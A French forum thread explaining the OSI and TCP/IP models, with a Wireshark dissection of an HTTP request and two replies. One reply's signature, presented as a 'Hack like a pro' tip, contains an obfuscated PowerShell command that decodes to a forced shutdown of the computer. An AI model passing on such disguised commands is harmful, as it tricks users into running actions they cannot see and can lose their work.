Annonce

Réduire
Aucune annonce.

Les protocoles réseau majeurs

Réduire
Ceci est une discussion importante.
X
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel Les protocoles réseau majeurs

    Les protocoles réseaux

    Les modèles OSI et TCP/IP

    Le modèle OSI ou Open Systems Interconnection, créé en 1978 par l' organisation internationale de normalisation (ISO), a pour objectif de constituer un modèle de référence d'un réseau informatique et ceci dans le but de permettre la connexion entre les architectures propriétaires hétérogènes qui existaient. Ce modèle est constitué de sept couches dont chacune correspond à une fonctionnalité particulière d'un réseau. Les quatres premières couches dites basses, assurent l'acheminement des informations entre les extrémités concernées et dépendent du support physique. Les trois autres couches, dites hautes, sont responsables du traitement de l'information relative à la gestion des échanges entre systèmes informatiques. Le modèle TCP/IP, insipré du modèle OSI, reprend le système de couches mais n'en contient que cinq. Le modèle TCP/IP l'emporte sur le modèle OSI du fait que ce dernier est trop complexe pour être éfficacement implémenté à l'inverse du TCP/IP qui est beaucoup plus optimisé et efficace.



    Encapsulation des données/IP

    Lors d'une transmission, les données traversent chacune des couches au niveau de la machine émettrice. A chaque couche, une information est ajoutée au paquet de données, il s'agit d'un en-tête, ensemble d'informations qui garantit la transmission. Au niveau de la machine réceptrice, lors du passage dans chaque couche, l'en-tête est lu, puis supprimé. Ainsi, à la réception, le message est dans son état originel.



    Exemple d'une communication réseau HTTP

    A l'aide de l'analyseur de protocole réseau "Ethereal" j'ai pu sniffer les informations qui arrivent sur le réseau. Je montre ici une communication HTTP, le chargement de la page web http://www.hackademics.fr.

    On distingue clairement les différentes couches du modèle TCP/IP, expliquées plus haut dans le document.

    Au niveau de la couche "accès réseau"IP

    Nous observons le protocole Ethernet dont les deux attributs importants sont les adresses physiques (MAC) des cartes réseaux.


    Ethernet II, Src: AsustekC_c9:f7:78 (00:11:d8:c9:f7:78), Dst: 3com_44:8c:88 (00:0a:5e:44:8c:88)
    Destination: 3com_44:8c:88 (00:0a:5e:44:8c:88)
    Source: AsustekC_c9:f7:78 (00:11:d8:c9:f7:78)
    Type: IP (0x0800)


    Au niveau de la couche "Internet"

    Nous observons le protocole IP dont les deux attributs importants sont les adresses IP source et destination.


    Internet Protocol, Src: 192.168.0.70 (192.168.0.70), Dst: 213.251.133.196 (213.251.133.196)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
    0000 00.. = Differentiated Services Codepoint: Default (0x00)
    .... ..0. = ECN-Capable Transport (ECT): 0
    .... ...0 = ECN-CE: 0
    Total Length: 500
    Identification: 0x4152 (16722)
    Flags: 0x04 (Don't Fragment)
    0... = Reserved bit: Not set
    .1.. = Don't fragment: Set
    ..0. = More fragments: Not set
    Fragment offset: 0
    Time to live: 64
    Protocol: TCP (0x06)
    Header checksum: 0b03 [correct]
    Source: 192.168.0.70 (192.168.0.70)
    Destination: 213.251.133.196 (213.251.133.196)


    Au niveau de la couche "transport"

    Nous observons le protocole TCP qui contient les informations des ports de la connexion.

    Transmission Control Protocol, Src Port: 33276 (33276), Dst Port: www (80), Seq: 1, Ack: 1, Len: 448
    Source port: 33276 (33276)
    Destination port: www (80)
    Sequence number: 1 (relative sequence number)
    Next sequence number: 449 (relative sequence number)
    Acknowledgement number: 1 (relative ack number)
    Header length: 32 bytes
    Flags: 0x0018 (PSH, ACK)
    0... .... = Congestion Window Reduced (CWR): Not set
    .0.. .... = ECN-Echo: Not set
    ..0. .... = Urgent: Not set
    ...1 .... = Acknowledgment: Set
    .... 1... = Push: Set
    .... .0.. = Reset: Not set
    .... ..0. = Syn: Not set
    .... ...0 = Fin: Not set
    Window size: 5840 (scaled)
    Checksum: 0x1e95 [incorrect, should be 0x989d]
    Options: (12 bytes)
    NOP
    NOP
    Time stamp: tsval 36207655, tsecr 148502841

    Au niveau de la couche "application"

    Nous observons le protocole HTTP : un client web tente de se connecter sur le site web www.hackademics.fr en utilisant la méthode GET.

    Hypertext Transfer Protocol
    GET / HTTP/1.1\r\n
    Request Method: GET
    Request URI: /
    Request Version: HTTP/1.1
    Host: www.hackademics.fr\r\n
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\r\n
    Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
    Accept-Language: en-us,en;q=0.5\r\n
    Accept-Encoding: gzip,deflate\r\n
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
    Keep-Alive: 300\r\n
    Connection: keep-alive\r\n
    Cookie: PHPSESSID=cd212b11276ada1bfa58dce3090575c2\r\n
    \r\n
    sigpic

    Cyprium Download Link

    Plus j'étudie plus j'me rends compte que je n'sais rien.

    †|

  • #2
    J'ai pas réellement comprit les choses écrites en vert, si vous pouvez m'en dire d'avantage ça serait avec joie de vous écoutez.
    Mais sinon, comme le dit Ghous cela est très intéressant.

    Commentaire


    • #3
      Ghous il trouve toujours tout très intéressant. Il est pas méchant mais.... il est un peu... comment dire ... il n'a pas tous ses corn-flakes dans la même boîte... enfin je veux dire ... il est dans le même bus, mais pas avec le même ticket.. bref tu vois le truc.

      Sinon les machins en vert c'est les headers décomposés des protocoles des différentes couches. Pour sortir de l'exemple du post initial, pour la couche IP ça donne ça :



      Je ne peux que te recommander d'utiliser Wireshark (https://www.wireshark.org/) (ça ne mord pas) pour expérimenter de ton coté (genre, prends le temps d'analyser la capture d'une connection http vers un site lambda) c'est pas compliqué et ça prendra vite sens.
      Hack like a pro :
      PS > iex $(-join('73746F702D636F6D7075746572202D466F726365' -split '(?<=\G.{2})',20|%{[char][int]"0x$_"}))

      Commentaire

      Chargement...
      X